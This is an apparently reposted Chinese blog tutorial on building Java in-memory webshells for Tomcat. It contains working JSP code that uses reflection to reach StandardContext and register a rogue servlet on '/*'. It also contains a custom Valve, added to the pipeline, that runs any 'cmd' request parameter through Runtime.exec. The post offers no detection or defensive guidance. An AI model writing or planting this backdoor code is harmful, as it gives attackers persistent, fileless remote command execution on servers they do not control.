当前位置: 首页 > news >正文

JAVA攻防-内存马技术手搓代码调试反射Tomcat中间件Servlet路由器Valve管道器

知识点:
Java攻防-内存马技术-手搓代码&Tomcat&Servlet&Valve


演示案例-Java攻防-内存马技术-手搓代码&Tomcat&Servlet&Valve

Servlet内存马


0、添加依赖,方便后续IDA调试分析

<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-catalina</artifactId><version>9.0.68</version></dependency>



1、Servlet使用

web.xml配置或@WebServlet()等。<servlet><servlet-name>servletDemo</servlet-name><servlet-class>com.test.servletDemo</servlet-class></servlet><servlet-mapping><servlet-name>servletDemo</servlet-name><url-pattern>/demo</url-pattern></servlet-mapping>









2、动态分析

参考:https://cloud.tencent.com/developer/article/2130045

编写一个继承于servlet的类,并重写doGet或其他方法, 反射调用request类,StandardContext类获取context, 调用createWrapper方法后设置基于web.xml的配置信息, addChild添加第一个配置,addServletMappingDecoded添加第二个配置


web.xml配置才是重点,如何通过反射技术往这里添加配置。

3、内存马实现




<% //获取StandardContext#contextField reqF=request.getClass().getDeclaredField("request");reqF.setAccessible(true);Request req=(Request)reqF.get(request);StandardContext context=(StandardContext)req.getContext();//创建wrapper并写入servlet信息 Wrapper wrapper=context.createWrapper();wrapper.setName("testservlet");wrapper.setServletClass(HelloServlet.class.getName());wrapper.setServlet(new HelloServlet());//添加wrapper并添加路由信息 context.addChild(wrapper);context.addServletMappingDecoded("/*","testservlet");%>



Tomcat-Valve内存马

Valve译文为阀门。在Tomcat中,四大容器类StandardEngine、StandardHost、StandardContext、StandardWrapper中,都有一个管道(PipeLine)及若干阀门(Valve)。它们各自拥有独立的管道PipeLine,当各个容器类调用getPipeLine().getFirst().invoke(Request req, Response resp)时,会首先调用用户添加的Valve,最后再调用缺省的Standard-Valve,形象地打个比方,供水管道中的各个阀门,用来实现不同的功能,比方说控制流速、控制流通等等。

0、添加依赖,方便后续IDA调试分析

<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-catalina</artifactId><version>9.0.68</version></dependency>



1、Valve使用




public class TestVavle extends ValveBase{@Override public void invoke(Request request, Response response)throws IOException, ServletException{String cmd=request.getParameter("cmd");if(cmd==null){getNext().invoke(request, response);}else{Runtime.getRuntime().exec(cmd);}}}

-全局模板 所有应用都继承相同的 Valve 配置,可以修改 Tomcat 的全局context.xml(位于$CATALINA_BASE/conf/context.xml) -自定义部署 在 src/main/webapp/META-INF 目录下创建context.xml文件

2、动态分析

参考:https://mp.weixin.qq.com/s/kfN6uU3A-jR72fyK8epnGw

编写一个继承于ValveBase的类,并重写Invoke方法, 反射调用request类,StandardContext类获取context 随后调用相应容器实例的getPipeline方法后addValve添加

3、内存马实现

<% //反射调用request类 Field reqF=request.getClass().getDeclaredField("request");reqF.setAccessible(true);Request req=(Request)reqF.get(request);//反射调用StandardContext类获取context StandardContext context=(StandardContext)req.getContext();//调用getPipeline Pipeline pipeline=context.getPipeline();//传入testVavle类 TestVavle testVavle=new TestVavle();pipeline.addValve(testVavle);%>








http://www.jsqmd.com/news/430157/

相关文章:

  • 394. 字符串解码
  • 梦醒时分
  • RK809调试
  • 为什么有这么多设备树文件
  • 程序员脱单实录:那个在车里跟我表白的代码仔,成了我男朋友
  • Linux的学习之路——进程(二)
  • 【毕业设计】SpringBoot+Vue+MySQL web铁路订票管理系统平台源码+数据库+论文+部署文档
  • SpringBoot+Vue .js高校学生选课系统管理平台源码【适合毕设/课设/学习】Java+MySQL
  • 2026年口碑好的养殖专用石墨烯地暖/家用石墨烯地暖制造厂家哪家靠谱 - 品牌宣传支持者
  • 2026年评价高的防水石墨烯地暖制造厂家哪家靠谱 - 品牌宣传支持者
  • 2026年质量好的铝合金压铸电池包壳体/铝合金压铸齿轮箱制造厂家哪家靠谱 - 品牌宣传支持者
  • 2026年口碑好的洁净室起重机实力工厂推荐 - 品牌宣传支持者
  • 2026年热门的起重机高口碑品牌推荐 - 品牌宣传支持者
  • 2026年质量好的龙门机床焊接件/五轴机床焊接件实力工厂推荐 - 品牌宣传支持者
  • 2026年衡水日语培训中心深度评测与权威推荐 - 2026年企业推荐榜
  • 2026年比较好的蓄电池电焊机/固态电池电焊机高口碑品牌推荐 - 品牌宣传支持者
  • 2026年评价高的固态电池焊接逆变两用机可靠供应商推荐 - 品牌宣传支持者
  • 《全球算力主权宪章》(The Universal Computational Sovereignty Charter)
  • 《全球算力主权宪章》Global Charter of Computational Sovereignty (GCCS)
  • 基于Java+SSM+Django网上花店系统(源码+LW+调试文档+讲解等)/在线花店系统/网络花店平台/网上订花服务/网上花店软件/网上购买花卉系统/网上鲜花预定系统/网上花店管理系统
  • 基于Java+SSM+Flask网上奶茶店系统(源码+LW+调试文档+讲解等)/在线奶茶店系统/网络奶茶店解决方案/奶茶店在线管理平台/奶茶店系统软件开发/网上饮品店系统/网络奶茶销售系统
  • 基于Java+SSM+Flask物流信息管理系统(源码+LW+调试文档+讲解等)/物流软件/信息管理/物流追踪/物流平台/物流系统/运输管理/仓储管理/配送管理/物流解决方案/物流技术/供应链管理
  • 中等规模公司是最有可能跑通AI workflow的
  • 2026年热门的矿用交流380V/660V等离子切割电焊两用机/矿用等离子切割电焊两用机生产商哪家强 - 品牌宣传支持者
  • Java SpringBoot+Vue3+MyBatis web铁路订票管理系统系统源码|前后端分离+MySQL数据库
  • 2026年质量好的固定推拉棚实力品牌厂家推荐 - 品牌宣传支持者
  • 2026年知名的折叠天幕精选厂家推荐 - 品牌宣传支持者
  • 2026年蚌埠五河县家装公司盘点:这五家值得您关注 - 2026年企业推荐榜
  • 2026年质量好的铝合金折叠天幕品牌厂家哪家靠谱 - 品牌宣传支持者
  • IL 层(程序集改写)全景解析:在 DLL 的“字里行间”动手术——构建前/构建后改写 IL 的最常见注入方式